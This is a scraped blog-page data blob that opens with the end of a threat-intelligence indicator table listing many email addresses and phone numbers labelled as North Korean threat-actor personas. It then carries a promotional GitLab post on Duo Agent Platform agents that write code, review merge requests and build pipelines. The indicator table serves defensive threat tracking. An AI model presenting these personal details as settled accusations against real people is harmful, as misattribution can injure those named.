|\n| `iamjanus66@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `4696382784` | phone number | insider | N/A | N/A | Threat actor persona phone number | 3 |\n| `brianyoung.luck@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `codingwork.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jinwangdev531@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gdavisiv.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicolas.edgardo1028@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeilucky23@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aleksey0753@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `develop498@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `4899432@qq.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `karsonova1703@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maximmironenkoreact@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vitalyandronuke@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeysamsonofff@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `realnitii1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `devnitin18@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexiyevaj@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `initinbhardwaj@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anna.putinarus@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rajukumar127.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kekisevu@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anastasiaanufriyenko@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `andriimalyshenko@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gabrygreg1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luckydev2289@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `forfuture21@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darbylee923@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexei.lee0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `yuriassasin0603@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luis.lee.tech@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `bryanjsmiranda@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luislee.software@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `panda95718@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `givometeq@mentonit.net` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maradanod.favomubo@vintomaper.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `humblechoice.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoalberto2208@hotmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `quxiujun520520@163.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `igorslobodyan508@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung.lucky@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `valerykrapiv@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dveretenov@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `blbnlambert34@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tezauidev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicewitali0311@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `shopstar0907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rl6700907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeu005@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `versatile.skydev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kevinhelan2@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `cglobalpower923002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `albertchess990919@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `lorenzo.vidal@mail.ru` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `stolic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nkvasic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `freelancer.honest.developer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `viana.mabel3058@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairo.business392@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoacosta00123@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ferwerwe6@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maskymlap@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexsam.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kostiaberez369@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darkrut22@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jennalolly93@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vikram.imenso@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `greg.work.pro@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `denish.faldu226@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `janeica.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiuli@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aronnokunjo@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `hadiulislam391@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdi39980@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdiupwork2002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiul@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `wildbotgamer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.L@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dyadkovdevelop@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.M@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Gulfdom0209@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Wei861420@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `david@heyadev.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mykytadanylchenko@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ronaldofanclub112@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `olegevgen@inbox.lt` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `15414257086` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `89883507137` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `14358179097` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `3508704464` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `4796004206` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `5596103595` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n",[785,1177],"security research",{"featured":13,"template":810,"slug":1179},"gitlab-threat-intelligence-reveals-north-korean-tradecraft",{"content":1181,"config":1184},{"title":1148,"description":1149,"authors":1182,"heroImage":1152,"date":848,"body":1153,"category":785,"tags":1183},[1151],[785,836],{"featured":13,"template":810,"slug":1156},[1186,1191,1196],{"content":1187,"config":1190},{"title":843,"description":844,"authors":1188,"heroImage":847,"date":848,"body":849,"category":691,"tags":1189},[846],[693,851],{"featured":679,"template":810,"slug":853},{"content":1192,"config":1195},{"title":856,"description":857,"heroImage":858,"authors":1193,"date":861,"body":862,"category":691,"tags":1194},[860],[693,785],{"featured":13,"template":810,"slug":865},{"content":1197,"config":1200},{"title":868,"description":869,"authors":1198,"category":691,"tags":1199,"date":874,"heroImage":875,"body":876},[871],[693,873,89,537],{"featured":679,"template":810,"slug":878},[1202,1213,1218],{"content":1203,"config":1211},{"title":1204,"description":1205,"authors":1206,"heroImage":1208,"date":874,"body":1209,"category":691,"tags":1210},"GitLab Duo Agent Platform with Claude accelerates development","Learn how to leverage external AI models like Anthropic's Claude to automate everything from code generation to pipeline creation directly within GitLab.",[1207],"Cesar Saavedra","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058602/epl3sinfezlzxnppxak6.png","Modern software development teams face a critical challenge: How do you maintain velocity while ensuring code quality, security, and consistency across complex projects?\n\nWhile AI coding assistants have accelerated individual developer productivity, they often operate in isolation from the broader development workflow. This disconnect forces developers to context-switch between tools, manually translate AI suggestions into actionable code, and spend valuable time on repetitive tasks that could be automated.\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo-agent-platform/) solves this problem by enabling seamless integration with external AI models like Anthropic's Claude, OpenAI's Codex, and others.\n\nBy creating external agents within GitLab Duo Agent Platform, organizations can customize AI capabilities for their specific needs, workflows, and standards while keeping everything within the familiar GitLab environment. These agents understand your project context, follow your coding standards, and can autonomously complete complex, multi-step tasks — from initial idea to production-ready code.\n\nWatch this video demonstration and follow along below:\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BPmoVCeyWJA?si=50ktjKxPUNpicXve\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n## Real-world use cases\n\nHere are three powerful use cases that illustrate how external agents transform the development lifecycle:\n\n### 1. From idea to code\n\nStarting with nothing more than an empty project and a detailed issue description, the external agent (in this case, Claude) takes complete ownership of application development. In this use case, the issue title is the desired application and the issue description lists its specifications.\n\nThe agent reads the context, e.g. project information, related assets, etc., and analyzes the requirements detailed in the issue, generates a full-stack Java web application with appropriate UI components, implements the business logic with specified interest rates, and creates a merge request with all the code ready for review.\n\nThe generated application includes backend Java classes, frontend HTML/CSS/JavaScript files, and build configuration — all following the specifications in the original issue. Teams can then test the application locally, verify functionality, and continue iterating with the agent through natural conversation.\n\n![Issue detailing requirements of application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/irzlmm0gukanjt7ryq9b.png \"Issue detailing requirements of application\")\n\n\n\n![Prompt for external agent to create a merge request with application implementation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/ajr6nquefob7lefdcxng.png \"Prompt for external agent to create a merge request with application implementation\")\n\n\n\n\n![External agent implementation complete](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/gbwwawybg9u4jzibuurw.png \"External agent implementation complete\")\n\n\n\n![Newly created application by external agent](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/rijlwchqo1zytp842bld.png \"Newly created application by external agent\")\n\n\n\n![Building and running application locally](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058386/aycpfxa0mdbfbxf2ydu3.png \"Building and running application locally\")\n\n\n\n![Testing application locally](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058388/rxlvwmzlx8vor92qhotl.png \"Testing application locally\")\n\n### 2. Code review\n\nQuality assurance doesn't stop at code generation. In the second use case, the same external agent performs a comprehensive code review of the application it created. By mentioning the agent in a merge request comment, teams receive detailed analysis including code strengths, critical issues, medium-priority concerns, minor improvements, security assessments, testing notes, code metrics, and recommendations with an approval status. This automated review process ensures consistency and catches potential issues before they reach production, while freeing up senior developers to focus on architectural decisions rather than routine code inspection.\n\n\n![Requesting a code review from the external agent](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/ri7x5qkx9bfnidfn8gx1.png \"Requesting a code review from the external agent\")\n\n\n\n![Code review results from the external agent](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/trdamdekrnvkbnfz0twg.png \"Code review results from the external agent\")\n\n\n\n### 3. Create pipeline to build container image\n\nThe final use case addresses a common gap: deployment automation. When the merge request lacks a CI/CD pipeline, teams can simply ask the external agent to create one. The agent generates a complete pipeline configuration that builds the application, creates a Dockerfile using appropriate base images matched to the project's Java version, builds a Docker image, and deploys it to GitLab's built-in container registry. The pipeline runs automatically, proceeding through build, Docker image creation, and registry deployment stages — all without manual configuration or intervention.\n\n\n![Prompt for external agent to create a pipeline and container image](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/bwqipksewm1hejuycwqh.png \"Prompt for external agent to create a pipeline and container image\")\n\n\n\n![Newly created pipeline and Dockerfile files created by external agent](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/agyr8hhc1vax7aarsxoj.png \"Newly created pipeline and Dockerfile files created by external agent\")\n\n\n\n![Newly created pipeline successful run](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/cdm4mye5edkpemedpxts.png \"Newly created pipeline successful run\")\n\n\n\n![Newly created container image as a result from running pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/bifx71xz9k7vedbo9xl3.png \"Newly created container image as a result from running pipeline\")\n\n## Summary\n\nGitLab Duo Agent Platform with external agents represents a fundamental shift in how organizations approach software development. By addressing the core problem of isolated AI tools and fragmented workflows, external agents bring intelligent automation directly into the platforms teams already use. Rather than treating AI as a separate coding assistant, Duo Agent Platform integrates external models like Claude seamlessly into your GitLab workflow, enabling agents to understand full project context, adhere to organizational standards, and autonomously handle complex tasks across the entire development lifecycle.\n\nThe value proposition is clear: Development teams accelerate delivery timelines, maintain consistent code quality, reduce repetitive work, and free up senior engineers to focus on innovation rather than routine tasks. From generating production-ready code based on issue descriptions to performing thorough code reviews and automating deployment pipelines, external agents become trusted collaborators that understand your organization's unique needs and standards.\n\nDiscover how your team can ship faster, maintain higher quality, and stay in flow throughout the entire software development lifecycle. [Try GitLab Duo Agent Platform today](https://about.gitlab.com/gitlab-duo-agent-platform/). Then, dig into our [\"Getting started with GitLab Duo Agent Platform\" guide](https://about.gitlab.com/blog/gitlab-duo-agent-platform-complete-getting-started-guide/).\n\n",[774,693,805],{"featured":679,"template":810,"slug":1212},"gitlab-duo-agent-platform-with-claude-accelerates-development",{"content":1214,"config":1217},{"title":883,"description":884,"authors":1215,"heroImage":887,"date":888,"body":889,"category":704,"tags":1216},[886],[785,774],{"featured":679,"template":810,"slug":892},{"content":1219,"config":1222},{"title":1116,"description":1117,"authors":1220,"heroImage":1120,"body":1121,"date":888,"category":774,"tags":1221},[1119],[89,774,805],{"featured":13,"template":810,"slug":1124},1772652074931]